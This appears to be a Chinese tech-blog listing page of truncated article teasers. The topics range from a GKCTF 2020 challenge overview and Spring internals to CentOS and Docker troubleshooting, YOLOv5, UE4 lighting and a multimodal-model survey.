[GKCTF 2020]CheckIN 这道题目考察&#xff1a;php7-gc-bypass漏洞 打开这道题目&#xff0c;开始以为考察反序列化&#xff0c;但实际并不是&#xff0c;这里直接用$_REQUEST传入了参数便可以利用了。这里出现了一个eval&#xff08;&#xff09;函数&#xff0c;猜测考察命…

spring部分源码分析及Bean的生命周期理解

前言&#xff1a; 本文整体框架是通过refresh方法这个入口进入分析&#xff1a;分析IOC容器的创建及一些Bean的生命周期的知识点&#xff0c;写得确实一般般&#xff0c;感觉自己的有些前置知识并没有理解的很到位&#xff0c;所以&#xff0c;这篇文件先记录一下&#xff0c;…

MAT使用

概念 Shallow heap & Retained Heap Shallow Heap就是对象本身占用内存的大小。 Retained Heap就是当前对象被GC后&#xff0c;从Heap上总共能释放掉的内存(表示如果一个对象被释放掉&#xff0c;那会因为该对象的释放而减少引用进而被释放的所有的对象&#xff08;包括…

CentOS 8中 更新或下载时报错:为仓库 ‘appstream‘ 下载元数据失败 : Cannot prepare internal mirrorlist

一、错误重现 CentOS Stream 8 - AppStream 0.0 B/s | 0 B 00:00 Errors during downloading metadata for repository appstream: - Curl error (6): Couldnt resolve host name for http://mirrorlis…

docker tomcat 404

HTTP 404状态码表示“Not Found”&#xff0c;即服务器无法找到请求的页面。 当用户尝试访问一个不存在的网页时&#xff0c;服务器会返回这个状态码。这个状态码是HTTP协议的一部分&#xff0c;用于告知客户端&#xff08;通常是浏览器&#xff09;服务器无法完成请求。404状…

设计模式13-单件模式

设计模式13-单件模式 写在前面对象性能模式典型模式1. 单例模式&#xff08;Singleton Pattern&#xff09;2. 享元模式&#xff08;Flyweight Pattern&#xff09;3. 原型模式&#xff08;Prototype Pattern&#xff09;4. 对象池模式&#xff08;Object Pool Pattern&#xf…

软件测试最全面试题及答案整理(2024最新版)

目录 1、你的测试职业发展是什么? 2、你认为测试人员需要具备哪些素质 3、你为什么能够做测试这一行 4、测试的目的是什么? 5、测试分为哪几个阶段? 6、单元测试的测试对象、目的、测试依据、测试方法? 7、怎样看待加班问题 8、结合你以前的学习和工作经验&#xf…

34_YOLOv5网络详解

1.1 简介 YOLOV5是YOLO&#xff08;You Only Look Once&#xff09;系列目标检测模型的一个重要版本&#xff0c;由 Ultralytics 公司的Glenn Jocher开发并维护。YOLO系列以其快速、准确的目标检测能力而闻名&#xff0c;尤其适合实时应用。YOLOV5在保持高效的同时&#xff0c…

ForCloud全栈安全体验,一站式云安全托管试用 开启全能高效攻防

对于正处于业务快速发展阶段的企业&#xff0c;特别是大型央国企而言&#xff0c;日常的安全部署和运营管理往往横跨多家子公司&#xff0c;所面临的挑战不言而喻。尤其是在面对当前常态化的大型攻防演练任务时&#xff0c;难度更是呈“几何级数”上升&#xff1a; 合规难 众…

Linux中进程的控制

一、进程的创建 1、知识储备 进程的创建要调用系统接口&#xff0c;头文件 #include<unistd.h> 函数fork() 由于之前的铺垫我们现在可以更新一个概念 进程 内核数据结构&#xff08;task_struct, mm_struct, 页表....&#xff09; 代码 数据 所以如何理解进程的独…

最新 Docker 下载镜像超时解决方案:Docker proxy

现在Docker换源也下载失败太常见了&#xff0c;至于原因&#xff0c;大家懂得都懂。本文提供一种简洁的方案&#xff0c; 利用 Docker 的http-proxy&#xff0c;代理至本机的 proxy。 文章目录 前言Docker proxy 前言 这里默认你会安装 clash&#xff0c;然后有配置和数据库。…

华为云.云日志服务LTS及其基本使用

云计算 云日志服务LTS及其基本使用 - 文章信息 - Author: 李俊才 (jcLee95) Visit me at CSDN: https://jclee95.blog.csdn.netMy WebSite&#xff1a;http://thispage.tech/Email: 291148484163.com. Shenzhen ChinaAddress of this article:https://blog.csdn.net/qq_28550…

开机出现grub无法进入系统_电脑开机出现grub解决方法

最近有小伙伴问我电脑开机出现grub无法进入系统怎么回事&#xff1f;电脑开机出grub的情况有很多&#xff0c;电脑上安装了Linux和Win10双系统&#xff0c;但是由于格式化删除了Linux之后&#xff0c;结果win10开机了之后&#xff0c;直接显示grub&#xff1e;&#xff0c;无法…

平面五杆机构运动学仿真matlab simulink

1、内容简介 略 89-可以交流、咨询、答疑 2、内容说明 略 ] 以 MATLAB 程序设计语言为平台 , 以平面可调五杆机构为主要研究对象 , 给定机构的尺寸参数 , 列出所 要分析机构的闭环矢量方程 , 使用 MATLAB 软件中 SIMULINK 仿真工具 , 在 SIMULINK 模型窗口下建立数…

UE4-光照重建

当我们拉入新的光源和模型到我们的场景中后&#xff0c;会产生这样的情况&#xff1a; Preview:预览 表示此时由于光照物体所产生的阴影都是预览级别的并不是真正的效果。 方法一&#xff1a; 或者也可以在世界大纲中选中我们的光源&#xff0c;然后将我们的光源改变为可以…

(MLLMs)多模态大模型论文分享(1)

Multimodal Large Language Models: A Survey 摘要&#xff1a;多模态语言模型的探索集成了多种数据类型&#xff0c;如图像、文本、语言、音频和其他异构性。虽然最新的大型语言模型在基于文本的任务中表现出色&#xff0c;但它们往往难以理解和处理其他数据类型。多模态模型…

“探求新质生产力 推进中国式现代化”学习交流活动在河北廊坊举办

7月21日&#xff0c;一场以“探求新质生产力 推进中国式现代化”为主题的学习交流活动在河北省廊坊市举办&#xff0c;2000余名企业界人士共同探讨企业发展的新路径与新动力。 7月21日&#xff0c;“探求新质生产力 推进中国式现代化”学习交流活动在河北省廊坊市举办。图为活动…